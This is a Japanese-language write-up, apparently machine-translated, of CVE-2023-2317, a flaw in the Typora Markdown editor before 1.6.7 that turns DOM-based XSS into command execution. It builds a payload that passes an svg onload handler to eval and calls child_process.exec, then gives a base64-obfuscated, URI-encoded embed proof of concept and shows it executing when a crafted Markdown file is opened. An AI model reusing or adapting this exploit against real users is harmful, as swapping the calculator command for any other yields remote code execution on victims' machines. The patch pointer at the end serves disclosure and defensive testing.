声明:
この記事は技術交流のみを目的としています。違法な目的で使用しないでください。
この記事で提供される情報の普及および使用によって生じる直接的または間接的な結果および損失は、ユーザー自身の責任です。この記事はこれについて一切の責任を負いません。
1. 製品紹介
Typora は Abner Lee によって開発された軽量の Markdown エディタです。他の Markdown エディタとは異なり、Typora はソース コードとプレビューの 2 列表示を使用しませんが、WYSIWYG 編集方法を使用して実現します。インスタント プレビューの機能がありますが、ソースコード編集モードにも切り替えます。
2. 脆弱性の概要
理由: タイポラプロトコル
Typora は内部的に typora:// プロトコルを実装しており、Typora はこれを使用して特定のファイルにアクセスできます。
Typora 1.6.7 より前のバージョンにはセキュリティ上の脆弱性があり、タグに typora://app/typemark/updater/update.html をロードすることで Typora のメイン ウィンドウに JavaScript コードをロードすることが原因で発生します。
3. 脆弱性の悪用
による
<script src="typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js" charset="UTF-8"></script>
このアクセスでは、たとえば、lib.asar は Typora インストール ディレクトリのリソース フォルダにあり、updater.html は Typora インストール ディレクトリのアップデータ ファイルの下にあるため、typora:// プロトコルを使用してアップデータにアクセスします。 .html は次のように記述する必要があります。
typora://app/typemark/updater/updater.html?a=xxx&b=xxx&c=xxx
ビルドペイロード
従来の考え方によれば、ライブラリ child_process を要求してから exec パラメータを呼び出す必要がありますが、require 関数は typora では定義されておらず、代わりに reqnode 関数が使用されます。
したがって、Windows 環境のペイロードは次のように記述できます。
reqnode('child_process').exec("calc")
ページの読み込みを実装するために svg タグにパッケージ化します。
<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>
Windows と Linux の両方の環境で有効にするには、次のようにペイロードを記述します。
<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>
最後に、releaseNoteLink パラメータとラベル パラメータに対して URI エンコードが実行され、最終的な POC は次のようになります。
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
Base64デコード
4. 脆弱性の再発
この PoC が Typora にロードされると、DOM-XSS ペイロードを使用して updater.html がロードされ、メイン ウィンドウで JavaScript コードが実行され、システム コマンドが実行されます。具体的な操作は以下の通りです。
1. 脆弱なバージョンの環境をダウンロードして展開します。ここでの展開バージョンは次のとおりです。
Typora for Windows 1.5.12 (インストール パッケージは以下の Baidu クラウド ディスクから入手できます)
リンク: https://pan.baidu.com/s/12SMngr3Ks3D_OJ1KO17Zgw?pwd=i13d
抽出コード: i13d
ヒント: ダウンロード後にアクティベートする必要がありますが、再現するだけの場合はアクティベートする必要はありません。
2. 新しい md ファイルを作成し、poc コードを記述します (タイプは html であることに注意してください)。
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
3. ファイルを開くとコマンドが実行されます。
電卓を正常にポップアップ表示します
4. テストビデオ
プラットフォームにアップロードすると非常にぼやけてしまうので、誰でも見ることができます##
Typora コマンドの実行: CVE-2023-2317
5. 修理のご提案
現在、メーカーはこの脆弱性を修正するアップグレード パッチをリリースしています。パッチを入手するためのリンクは次のとおりです。
https://support.typora.io/What's-New-1.6/
https://buaq.net/go-175535.html?utm_source=feedly